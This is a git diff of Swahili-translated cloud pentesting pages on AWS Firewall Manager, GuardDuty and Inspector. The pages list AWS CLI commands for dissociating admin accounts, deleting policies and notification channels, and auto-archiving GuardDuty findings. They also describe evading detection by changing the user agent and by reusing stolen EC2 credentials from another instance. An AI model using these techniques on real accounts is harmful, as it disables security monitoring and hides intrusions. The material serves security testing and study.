Mchakato huu unapelekea kufutwa kwa sera zote za Firewall Manager zilizoundwa na akaunti iliyofutwa. +- Kwanza, kila akaunti ya msimamizi wa Firewall Administrator lazima ipige marufuku akaunti zao wenyewe. +- Kisha, msimamizi wa default aliyepo anaweza kupiga marufuku akaunti yao wenyewe, kwa ufanisi ikiondoa shirika kutoka kwa Firewall Manager. Mchakato huu unapelekea kufutwa kwa sera zote za Firewall Manager zilizoundwa na akaunti iliyopigwa marufuku. - Ili kumaliza, akaunti ya usimamizi ya AWS Organizations lazima iainishe msimamizi wa default wa Firewall Manager. ## Enumeration @@ -167,15 +167,15 @@ aws fms get-violation-details --policy-id --member-account --res Mshambuliaji mwenye ruhusa ya **`fms:AssociateAdminAccount`** angeweza kuweka akaunti ya msimamizi wa Firewall Manager ya default. Kwa ruhusa ya **`fms:PutAdminAccount`**, mshambuliaji angeweza kuunda au kusasisha akaunti ya msimamizi wa Firewall Manager na kwa ruhusa ya **`fms:DisassociateAdminAccount`**, mshambuliaji mwenye uwezo anaweza kuondoa ushirikiano wa akaunti ya sasa ya msimamizi wa Firewall Manager. -- Kuondolewa kwa ushirikiano wa **msimamizi wa Firewall Manager wa default kunafuata sera ya kwanza ndani, ya mwisho nje**. Wote wa wasimamizi wa Firewall Manager lazima waondoe ushirikiano kabla ya msimamizi wa Firewall Manager wa default kuweza kuondoa akaunti. +- Kuondolewa kwa ushirikiano wa **Firewall Manager default administrator kunafuata sera ya kwanza ndani, ya mwisho nje**. Wote wa wasimamizi wa Firewall Manager lazima waondoe ushirikiano kabla ya msimamizi wa Firewall Manager wa default kuweza kuondoa akaunti hiyo. - Ili kuunda msimamizi wa Firewall Manager kwa **PutAdminAccount**, akaunti lazima iwe ya shirika ambalo lilikuwa limeanzishwa awali kwa Firewall Manager kwa kutumia **AssociateAdminAccount**. -- Uundaji wa akaunti ya msimamizi wa Firewall Manager unaweza kufanywa tu na akaunti ya usimamizi wa shirika. +- Uundaji wa akaunti ya msimamizi wa Firewall Manager unaweza kufanywa tu na akaunti ya usimamizi ya shirika. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` -**Madhara Yanayoweza Kutokea:** Kupoteza usimamizi wa kati, kukwepa sera, ukiukaji wa utii, na kuingiliwa kwa udhibiti wa usalama ndani ya mazingira. +**Madhara Yanayoweza Kutokea:** Kupoteza usimamizi wa kati, kukwepa sera, ukiukaji wa taratibu, na kuingiliwa kwa udhibiti wa usalama ndani ya mazingira. ### `fms:PutPolicy`, `fms:DeletePolicy` @@ -184,7 +184,7 @@ Mshambuliaji mwenye ruhusa za **`fms:PutPolicy`**, **`fms:DeletePolicy`** angewe aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` -Mfano wa sera ya ruhusa kupitia kikundi cha usalama cha ruhusa, ili kupita ugunduzi, unaweza kuwa kama ifuatavyo: +Mfano wa sera ya ruhusa kupitia kundi la usalama la ruhusa, ili kupita kwenye ugunduzi, unaweza kuwa kama ifuatavyo: ```json { "Policy": { @@ -208,11 +208,11 @@ Mfano wa sera ya ruhusa kupitia kikundi cha usalama cha ruhusa, ili kupita ugund "TagList": [] } ``` -**Madhara Yanayoweza Kutokea:** Kuondolewa kwa udhibiti wa usalama, kukwepa sera, ukiukaji wa uzingativu, usumbufu wa operesheni, na uvunjaji wa data unaoweza kutokea ndani ya mazingira. +**Madhara Yanayoweza Kutokea:** Kuondolewa kwa udhibiti wa usalama, kukwepa sera, ukiukaji wa ufuatiliaji, usumbufu wa operesheni, na uvunjaji wa data unaoweza kutokea ndani ya mazingira. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -Mshambuliaji mwenye ruhusa za **`fms:BatchAssociateResource`** na **`fms:BatchDisassociateResource`** angeweza kuunganisha au kuondoa rasilimali kutoka kwa seti ya rasilimali ya Firewall Manager mtawalia. Aidha, ruhusa za **`fms:PutResourceSet`** na **`fms:DeleteResourceSet`** zingemwezesha mshambuliaji kuunda, kubadilisha au kufuta seti hizi za rasilimali kutoka AWS Firewall Manager. +Mshambuliaji mwenye ruhusa za **`fms:BatchAssociateResource`** na **`fms:BatchDisassociateResource`** angeweza kuunganisha au kuondoa rasilimali kutoka kwa seti ya rasilimali ya Firewall Manager mtawalia. Aidha, ruhusa za **`fms:PutResourceSet`** na **`fms:DeleteResourceSet`** zingemruhusu mshambuliaji kuunda, kubadilisha au kufuta seti hizi za rasilimali kutoka AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -226,7 +226,7 @@ aws fms delete-resource-set --identifier ### `fms:PutAppsList`, `fms:DeleteAppsList` -Mshambuliaji mwenye ruhusa **`fms:PutAppsList`** na **`fms:DeleteAppsList`** angeweza kuunda, kubadilisha au kufuta orodha za programu kutoka AWS Firewall Manager. Hii inaweza kuwa muhimu, kwani programu zisizoidhinishwa zinaweza kuruhusiwa kupata ufikiaji kwa umma kwa ujumla, au ufikiaji wa programu zilizoidhinishwa unaweza kukataliwa, na kusababisha DoS. +Mshambuliaji mwenye ruhusa za **`fms:PutAppsList`** na **`fms:DeleteAppsList`** angeweza kuunda, kubadilisha au kufuta orodha za programu kutoka AWS Firewall Manager. Hii inaweza kuwa muhimu, kwani programu zisizoidhinishwa zinaweza kuruhusiwa kuingia kwa umma, au ufikiaji wa programu zilizoidhinishwa unaweza kukataliwa, na kusababisha DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id @@ -240,11 +240,11 @@ Mshambuliaji mwenye ruhusa za **`fms:PutProtocolsList`** na **`fms:DeleteProtoco aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` -**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha mipangilio isiyo sahihi, kukwepa sera, ukiukaji wa taratibu, na kuvurugika kwa udhibiti wa usalama ndani ya mazingira. +**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha mipangilio isiyo sahihi, kukwepa sera, ukiukaji wa uzingatiaji, na kuingiliwa kwa udhibiti wa usalama ndani ya mazingira. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -Mshambuliaji mwenye ruhusa za **`fms:PutNotificationChannel`** na **`fms:DeleteNotificationChannel`** angeweza kufuta na kuamua jukumu la IAM na mada ya Amazon Simple Notification Service (SNS) ambayo Firewall Manager inatumia kurekodi kumbukumbu za SNS. +Mshambuliaji mwenye ruhusa za **`fms:PutNotificationChannel`** na **`fms:DeleteNotificationChannel`** angeweza kufuta na kuainisha jukumu la IAM na mada ya Amazon Simple Notification Service (SNS) ambayo Firewall Manager inatumia kurekodi kumbukumbu za SNS. Ili kutumia **`fms:PutNotificationChannel`** nje ya console, unahitaji kuweka sera ya ufikiaji ya mada ya SNS, ikiruhusu **SnsRoleName** iliyotolewa kuchapisha kumbukumbu za SNS. Ikiwa **SnsRoleName** iliyotolewa ni jukumu tofauti na **`AWSServiceRoleForFMS`**, inahitaji uhusiano wa kuaminiana uliowekwa ili kuruhusu huduma ya Firewall Manager **fms.amazonaws.com** kuchukua jukumu hili. @@ -257,23 +257,23 @@ Kwa maelezo kuhusu kuweka sera ya ufikiaji ya SNS: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha kukosa tahadhari za usalama, kuchelewesha majibu ya matukio, uvunjaji wa data unaoweza kutokea na usumbufu wa operesheni ndani ya mazingira. +**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha kukosa tahadhari za usalama, kuchelewesha majibu ya matukio, uvunjaji wa data na usumbufu wa operesheni ndani ya mazingira. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -Mshambuliaji mwenye ruhusa za **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** angeweza kuunganisha au kuondoa firewalls za upande wa tatu kutoka kusimamiwa kwa kati kupitia AWS Firewall Manager. +Mshambuliaji mwenye ruhusa za **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** angeweza kuunganisha au kuondoa moto wa tatu kutoka kwa usimamizi wa kati kupitia AWS Firewall Manager. > [!WARNING] -> Ni msimamizi wa default pekee ndiye anaweza kuunda na kusimamia firewalls za upande wa tatu. +> Ni msimamizi wa default pekee ndiye anaweza kuunda na kusimamia moto wa tatu. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**Madhara Yanayoweza Kutokea:** Kutenganishwa kutasababisha kukwepa sera, ukiukaji wa uzingativu, na kuvurugika kwa udhibiti wa usalama ndani ya mazingira. Uhusiano kwa upande mwingine utasababisha kuvurugika kwa mgawanyiko wa gharama na bajeti. +**Madhara Yanayoweza Kutokea:** Kutenganishwa kutasababisha kukwepa sera, ukiukaji wa uzingativu, na kuvurugika kwa udhibiti wa usalama ndani ya mazingira. Kuunganishwa kwa upande mwingine kutasababisha kuvurugika kwa mgawanyo wa gharama na bajeti. ### `fms:TagResource`, `fms:UntagResource` -Mshambuliaji angeweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Firewall Manager, akivuruga mgawanyiko wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. +Mshambuliaji angeweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Firewall Manager, akivuruga mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index aa776dec1..33fc62015 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,9 +4,9 @@ ## GuardDuty -Kulingana na [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty inachanganya **ujifunzaji wa mashine, ugunduzi wa anomali, ufuatiliaji wa mtandao, na ugunduzi wa faili zenye uharibifu**, ikitumia vyanzo vya AWS na vya tatu vinavyoongoza katika tasnia kusaidia kulinda kazi na data kwenye AWS. GuardDuty ina uwezo wa kuchambua mabilioni ya matukio kutoka kwa vyanzo vingi vya data vya AWS, kama vile kumbukumbu za matukio ya AWS CloudTrail, Kumbukumbu za Mtiririko wa Amazon Virtual Private Cloud (VPC), kumbukumbu za ukaguzi na za mfumo wa Amazon Elastic Kubernetes Service (EKS), na kumbukumbu za maswali ya DNS. +Kulingana na [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty inachanganya **ujifunzaji wa mashine, ugunduzi wa anomali, ufuatiliaji wa mtandao, na ugunduzi wa faili zenye uharibifu**, ikitumia vyanzo vya AWS na vya tatu vinavyoongoza katika tasnia kusaidia kulinda kazi na data kwenye AWS. GuardDuty ina uwezo wa kuchambua mabilioni ya matukio katika vyanzo vingi vya data vya AWS, kama vile kumbukumbu za matukio ya AWS CloudTrail, Kumbukumbu za Mtiririko wa Amazon Virtual Private Cloud (VPC), kumbukumbu za ukaguzi na za mfumo wa Amazon Elastic Kubernetes Service (EKS), na kumbukumbu za maswali ya DNS. -Amazon GuardDuty **inatambua shughuli zisizo za kawaida ndani ya akaunti zako**, inachambua **umuhimu wa usalama** wa shughuli hiyo, na inatoa **muktadha** ambao ilitolewa. Hii inaruhusu mrespondaji kuamua ikiwa wanapaswa kutumia muda katika uchunguzi zaidi. +Amazon GuardDuty **inatambua shughuli zisizo za kawaida ndani ya akaunti zako**, inachambua **umuhimu wa usalama** wa shughuli hiyo, na inatoa **muktadha** ambao ilitolewa. Hii inamruhusu mrespondaji kuamua kama anapaswa kutumia muda katika uchunguzi zaidi. Alerts **zinaonekana kwenye console ya GuardDuty (siku 90)** na Matukio ya CloudWatch. @@ -16,10 +16,10 @@ Alerts **zinaonekana kwenye console ya GuardDuty (siku 90)** na Matukio ya Cloud ### Mfano wa Matokeo -- **Upelelezi**: Shughuli inayopendekeza upelelezi na mshambuliaji, kama vile **shughuli zisizo za kawaida za API**, majaribio ya **kuingia** kwenye hifadhidata, **skanning** ya bandari ndani ya VPC, mifumo ya maombi ya kuingia yaliyoshindwa isiyo ya kawaida, au uchunguzi wa bandari usiozuiliwa kutoka kwa IP mbaya inayojulikana. -- **Ushikaji wa mfano**: Shughuli inayonyesha ushikaji wa mfano, kama vile **uchimbaji wa sarafu, shughuli za amri na udhibiti wa nyuma (C\&C)**, malware inayotumia algorithimu za kizazi cha kikoa (DGA), shughuli za kukataa huduma za nje, kiasi cha **trafiki ya mtandao** isiyo ya kawaida, protokali za mtandao zisizo za kawaida, mawasiliano ya mfano wa nje na IP mbaya inayojulikana, akreditif za muda za Amazon EC2 zinazotumiwa na anwani ya IP ya nje, na uhamasishaji wa data kwa kutumia DNS. -- **Ushikaji wa akaunti**: Mifumo ya kawaida inayonyesha ushikaji wa akaunti ni pamoja na simu za API kutoka eneo la kijiografia lisilo la kawaida au proxy ya kuficha, majaribio ya kuzima kumbukumbu za AWS CloudTrail, mabadiliko yanayopunguza sera ya nywila ya akaunti, uzinduzi wa mfano au miundombinu isiyo ya kawaida, uanzishaji wa miundombinu katika eneo lisilo la kawaida, wizi wa akreditif, shughuli za kuingia kwenye hifadhidata zisizo za kawaida, na simu za API kutoka kwa anwani za IP mbaya zinazojulikana. -- **Ushikaji wa ndoo**: Shughuli inayonyesha ushikaji wa ndoo, kama vile mifumo ya ufikiaji wa data inayoshuku inayonyesha matumizi mabaya ya akreditif, shughuli zisizo za kawaida za Amazon S3 API kutoka kwa mwenyeji wa mbali, ufikiaji usioidhinishwa wa S3 kutoka kwa anwani za IP mbaya zinazojulikana, na simu za API za kupata data katika ndoo za S3 kutoka kwa mtumiaji ambaye hana historia ya awali ya kufikia ndoo hiyo au aliyeanzishwa kutoka eneo lisilo la kawaida. Amazon GuardDuty inaendelea kufuatilia na kuchambua matukio ya data ya AWS CloudTrail S3 (mfano: GetObject, ListObjects, DeleteObject) ili kugundua shughuli zinazoshuku katika ndoo zako zote za Amazon S3. +- **Upelelezi**: Shughuli inayopendekeza upelelezi na mshambuliaji, kama vile **shughuli zisizo za kawaida za API**, majaribio ya **kuingia** kwenye hifadhidata, **skanning** ya bandari ndani ya VPC, mifumo isiyo ya kawaida ya maombi ya kuingia yaliyoshindwa, au uchunguzi wa bandari usiozuiliwa kutoka kwa IP mbaya inayojulikana. +- **Kuvunjika kwa Kifaa**: Shughuli inayonyesha kuvunjika kwa kifaa, kama vile **uchimbaji wa sarafu, shughuli za amri na udhibiti wa nyuma (C\&C)**, malware inayotumia algorithimu za kizazi cha kikoa (DGA), shughuli za kukataa huduma za nje, kiasi kisicho cha kawaida cha **trafiki ya mtandao**, protokali zisizo za kawaida za mtandao, mawasiliano ya kifaa cha nje na IP mbaya inayojulikana, akidi za muda za Amazon EC2 zinazotumiwa na anwani ya IP ya nje, na uhamasishaji wa data kwa kutumia DNS. +- **Kuvunjika kwa Akaunti**: Mifumo ya kawaida inayoweza kuashiria kuvunjika kwa akaunti ni pamoja na simu za API kutoka eneo la kijiografia lisilo la kawaida au proxy ya kuficha, majaribio ya kuzima kumbukumbu za AWS CloudTrail, mabadiliko yanayodhoofisha sera ya nywila ya akaunti, uzinduzi wa kifaa au miundombinu isiyo ya kawaida, uwekaji wa miundombinu katika eneo lisilo la kawaida, wizi wa akidi, shughuli za kuingia kwenye hifadhidata zisizo za kawaida, na simu za API kutoka kwa anwani za IP mbaya zinazojulikana. +- **Kuvunjika kwa Baki**: Shughuli inayonyesha kuvunjika kwa baki, kama vile mifumo ya ufikiaji wa data isiyo ya kawaida ikionyesha matumizi mabaya ya akidi, shughuli zisizo za kawaida za Amazon S3 API kutoka kwa mwenyeji wa mbali, ufikiaji usioidhinishwa wa S3 kutoka kwa anwani za IP mbaya zinazojulikana, na simu za API za kupata data katika bakuli za S3 kutoka kwa mtumiaji ambaye hana historia ya awali ya kufikia bakuli hiyo au ilitolewa kutoka eneo lisilo la kawaida. Amazon GuardDuty inaendelea kufuatilia na kuchambua matukio ya data ya AWS CloudTrail S3 (mfano: GetObject, ListObjects, DeleteObject) ili kugundua shughuli zisizo za kawaida katika bakuli zako zote za Amazon S3.
@@ -33,7 +33,7 @@ Muhtasari wa matokeo: - Kitambulisho cha Akaunti - Kitambulisho cha Rasilimali - Wakati wa kugundua -- Ni orodha ipi ya vitisho iliyotumika +- Ni orodha ipi ya vitisho ilitumika Mwili una habari hii: @@ -56,9 +56,9 @@ Unaweza **kualika akaunti nyingine** kwenye akaunti tofauti ya AWS GuardDuty ili #### Kupitia Shirika -Unaweza kuteua akaunti yoyote ndani ya shirika kuwa **msimamizi wa GuardDuty aliyepewa**. Ni akaunti ya usimamizi wa shirika pekee inayoweza kuteua msimamizi aliyepewa. +Unaweza kuteua akaunti yoyote ndani ya shirika kuwa **msimamizi wa GuardDuty**. Ni akaunti ya usimamizi wa shirika pekee inayoweza kuteua msimamizi wa kuteuliwa. -Akaunti inayoteuliwa kama msimamizi aliyepewa inakuwa akaunti ya msimamizi wa GuardDuty, ina GuardDuty iliyoanzishwa kiotomatiki katika Eneo lililotengwa la AWS, na pia ina **idhini ya kuanzisha na kusimamia GuardDuty kwa akaunti zote ndani ya shirika katika eneo hilo**. Akaunti nyingine ndani ya shirika zinaweza kuonekana na kuongezwa kama akaunti za wanachama wa GuardDuty zinazohusishwa na akaunti hii ya msimamizi aliyepewa. +Akaunti inayoteuliwa kama msimamizi wa kuteuliwa inakuwa akaunti ya msimamizi wa GuardDuty, ina GuardDuty iliyoanzishwa kiotomatiki katika Eneo la AWS lililotengwa, na pia ina **idhini ya kuanzisha na kusimamia GuardDuty kwa akaunti zote ndani ya shirika katika eneo hilo**. Akaunti nyingine ndani ya shirika zinaweza kuangaliwa na kuongezwa kama akaunti za wanachama wa GuardDuty zinazohusishwa na akaunti hii ya msimamizi wa kuteuliwa. ## Enumeration ```bash @@ -111,11 +111,11 @@ Jaribu kujua kadri ya uwezo kuhusu tabia ya ithibati unayotaka kutumia: - Wakala wa Mtumiaji / Huduma (Inaweza kutumika kutoka awscli, webconsole, lambda...) - Ruhusa zinazotumika mara kwa mara -Kwa habari hii, tengeneza tena kadri ya uwezo hali hiyo ili kutumia ufikiaji: +Kwa kutumia taarifa hii, tengeneza kadri ya uwezo hali sawa ili kutumia ufikiaji: - Ikiwa ni **mtumiaji au jukumu linalofikiwa na mtumiaji**, jaribu kulitumika katika masaa sawa, kutoka eneo moja la kijiografia (hata ISP na IP sawa ikiwa inawezekana) - Ikiwa ni **jukumu linalotumika na huduma**, tengeneza huduma hiyo hiyo katika eneo moja na uitumie kutoka hapo katika muda sawa -- Daima jaribu kutumia **ruhusa sawa** ambazo kiongozi huyu amezitumia +- Daima jaribu kutumia **ruhusa sawa** ambazo huyu mkuu amezitumia - Ikiwa unahitaji **kutumia ruhusa nyingine au kutumia ruhusa** (kwa mfano, kupakua faili 1.000.000 za cloudtrail log) fanya hivyo **polepole** na kwa **idadi ndogo ya mwingiliano** na AWS (awscli wakati mwingine inaita APIs kadhaa za kusoma kabla ya ile ya kuandika) ### Breaking GuardDuty @@ -129,7 +129,7 @@ aws guardduty update-detector --detector-id --data-sources S3Logs= ``` #### `guardduty:CreateFilter` -Washambuliaji wenye ruhusa hii wana uwezo wa **kutumia vichujio kwa ajili ya** kuhifadhi matokeo kiotomatiki: +Washambuliaji wenye ruhusa hii wana uwezo wa **kutumia filters kwa ajili ya** kuhifadhi matokeo kiotomatiki: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` @@ -141,35 +141,35 @@ aws guardduty update-ip-set --detector-id --activate --ip-set-id < ``` #### `guardduty:DeletePublishingDestination` -Washambuliaji wanaweza kuondoa eneo la kuchapisha ili kuzuia arifa: +Wavamizi wanaweza kuondoa eneo la kuchapisha ili kuzuia arifa: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` > [!CAUTION] -> Kufuta eneo hili la uchapishaji **hakutakuwa na athari kwa uzalishaji au mwonekano wa matokeo ndani ya konsoli ya GuardDuty**. GuardDuty itaendelea kuchambua matukio katika mazingira yako ya AWS, kubaini tabia za kushangaza au zisizotarajiwa, na kuzalisha matokeo. +> Kufuta eneo hili la kuchapisha **hakutakuwa na athari kwa uzalishaji au mwonekano wa matokeo ndani ya konsoli ya GuardDuty**. GuardDuty itaendelea kuchambua matukio katika mazingira yako ya AWS, kubaini tabia za kushangaza au zisizotarajiwa, na kuzalisha matokeo. ### Mifano Maalum ya Kupita Matokeo -Kumbuka kuwa kuna matokeo kumi za GuardDuty, hata hivyo, **kama Red Teamer si yote yatakayoathiri wewe**, na bora zaidi, una **nyaraka kamili za kila moja yao** katika [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) hivyo angalia kabla ya kuchukua hatua yoyote ili usikamatwe. +Kumbuka kuwa kuna matokeo kumi za GuardDuty, hata hivyo, **kama Red Teamer si yote yatakayo kukuhusu**, na bora zaidi, una **nyaraka kamili za kila moja yao** katika [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) hivyo angalia kabla ya kuchukua hatua yoyote ili usikamatwe. Hapa kuna mifano kadhaa ya kupita matokeo maalum ya GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) GuardDuty inagundua maombi ya API ya AWS kutoka kwa zana za kawaida za kupenya na kuanzisha [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -Inagunduliwa na **jina la wakala wa mtumiaji** ambalo linapitishwa katika ombi la API.\ +Inagunduliwa na **jina la wakala wa mtumiaji** linalopitishwa katika ombi la API.\ Hivyo, **kubadilisha wakala wa mtumiaji** inawezekana kuzuia GuardDuty kugundua shambulio. Ili kuzuia hili unaweza kutafuta kutoka kwenye script `session.py` katika pakiti ya `botocore` na kubadilisha wakala wa mtumiaji, au kuweka Burp Suite kama proxy ya AWS CLI na kubadilisha wakala wa mtumiaji kwa MitM au tumia OS kama Ubuntu, Mac au Windows itazuia kengele hii kutokea. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Kutoa akreditif za EC2 kutoka kwa huduma ya metadata na **kuzitumia nje** ya mazingira ya AWS kunasababisha kengele ya [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Kinyume chake, kutumia akreditif hizi kutoka kwa mfano wako wa EC2 kunasababisha kengele ya [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Hata hivyo, **kutumia akreditif kwenye mfano mwingine wa EC2 ulioathiriwa ndani ya akaunti hiyo hiyo hakugunduliwi**, hakusababisha kengele yoyote. +Kutoa akreditivu za EC2 kutoka kwa huduma ya metadata na **kuzitumia nje** ya mazingira ya AWS kunasababisha kengele ya [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Kwa upande mwingine, kutumia akreditivu hizi kutoka kwa mfano wako wa EC2 kunasababisha kengele ya [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Hata hivyo, **kutumia akreditivu kwenye mfano mwingine wa EC2 ulioathiriwa ndani ya akaunti hiyo hiyo hakugunduliwi**, hakusababisha kengele yoyote. > [!TIP] -> Hivyo, **tumia akreditif zilizopatikana kutoka ndani ya mashine** ambapo ulizipata ili usisababisha kengele hii. +> Hivyo, **tumia akreditivu zilizopatikana kutoka ndani ya mashine** ambapo ulizipata ili usisababisha kengele hii. -## Marejeo +## Marejeleo - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 3c30c4c92..26951d16e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector ni huduma ya usimamizi wa udhaifu wa hali ya juu, iliyotengenezwa kiotomatiki ili kuboresha usalama wa mazingira yako ya AWS. Huduma hii inafanya skanning mara kwa mara ya mifano ya Amazon EC2, picha za kontena katika Amazon ECR, Amazon ECS, na kazi za AWS Lambda kwa udhaifu na kufichuliwa kwa mtandao bila kukusudia. Kwa kutumia hifadhidata yenye nguvu ya uelewa wa udhaifu, Amazon Inspector inatoa matokeo ya kina, ikiwa ni pamoja na viwango vya ukali na mapendekezo ya kurekebisha, ikisaidia mashirika kutambua na kushughulikia hatari za usalama kwa njia ya proaktiki. Njia hii ya kina inahakikisha msimamo thabiti wa usalama katika huduma mbalimbali za AWS, ikisaidia katika kufuata sheria na usimamizi wa hatari. +Amazon Inspector ni huduma ya juu ya usimamizi wa udhaifu iliyoundwa kuboresha usalama wa mazingira yako ya AWS. Huduma hii inafanya skanning mara kwa mara ya Amazon EC2 instances, picha za kontena katika Amazon ECR, Amazon ECS, na kazi za AWS Lambda kwa udhaifu na kufichuliwa kwa mtandao bila kukusudia. Kwa kutumia hifadhidata yenye nguvu ya uelewa wa udhaifu, Amazon Inspector inatoa matokeo ya kina, ikiwa ni pamoja na viwango vya ukali na mapendekezo ya kurekebisha, ikisaidia mashirika kutambua na kushughulikia hatari za usalama kwa njia ya awali. Njia hii ya kina inahakikisha msimamo thabiti wa usalama katika huduma mbalimbali za AWS, ikisaidia katika kufuata sheria na usimamizi wa hatari. ### Key elements #### Findings -Matokeo katika Amazon Inspector ni ripoti za kina kuhusu udhaifu na kufichuliwa kwa mtandao yaliyogunduliwa wakati wa skanning ya mifano ya EC2, hifadhi za ECR, au kazi za Lambda. Kulingana na hali yake, matokeo yanagawanywa kama: +Findings katika Amazon Inspector ni ripoti za kina kuhusu udhaifu na kufichuliwa kwa mtandao zilizogunduliwa wakati wa skanning ya EC2 instances, ECR repositories, au kazi za Lambda. Kulingana na hali yake, findings zinagawanywa kama: -- **Active**: Matokeo hayajarekebishwa. -- **Closed**: Matokeo yamekamilishwa. -- **Suppressed**: Matokeo yamewekwa katika hali hii kutokana na moja au zaidi ya **sheria za kukandamiza**. +- **Active**: Finding haijarekebishwa. +- **Closed**: Finding imekamilishwa. +- **Suppressed**: Finding imewekwa alama na hali hii kutokana na moja au zaidi ya **sheria za kukandamiza**. -Matokeo pia yanagawanywa katika aina tatu zifuatazo: +Findings pia zinagawanywa katika aina tatu zifuatazo: -- **Package**: Matokeo haya yanahusiana na udhaifu katika pakiti za programu zilizowekwa kwenye rasilimali zako. Mifano ni pamoja na maktaba za zamani au utegemezi zenye matatizo ya usalama yanayojulikana. -- **Code**: Kategoria hii inajumuisha udhaifu ulio katika msimbo wa programu zinazotembea kwenye rasilimali zako za AWS. Masuala ya kawaida ni makosa ya uandishi wa msimbo au mbinu zisizo salama ambazo zinaweza kusababisha uvunjaji wa usalama. -- **Network**: Matokeo ya mtandao yanatambua kufichuliwa kwa uwezekano katika usanidi wa mtandao ambao unaweza kutumiwa na washambuliaji. Hizi ni pamoja na bandari wazi, protokali za mtandao zisizo salama, na vikundi vya usalama vilivyopangwa vibaya. +- **Package**: Findings hizi zinahusiana na udhaifu katika pakiti za programu zilizowekwa kwenye rasilimali zako. Mifano ni pamoja na maktaba ya zamani au utegemezi wenye matatizo ya usalama yanayojulikana. +- **Code**: Kategoria hii inajumuisha udhaifu ulio katika msimbo wa programu zinazotumia rasilimali zako za AWS. Masuala ya kawaida ni makosa ya uandishi wa msimbo au mbinu zisizo salama ambazo zinaweza kusababisha uvunjaji wa usalama. +- **Network**: Findings za mtandao zinatambua kufichuliwa kwa uwezekano katika usanidi wa mtandao ambao unaweza kutumiwa na washambuliaji. Hizi ni pamoja na bandari wazi, protokali zisizo salama za mtandao, na vikundi vya usalama vilivyopangwa vibaya. #### Filters and Suppression Rules 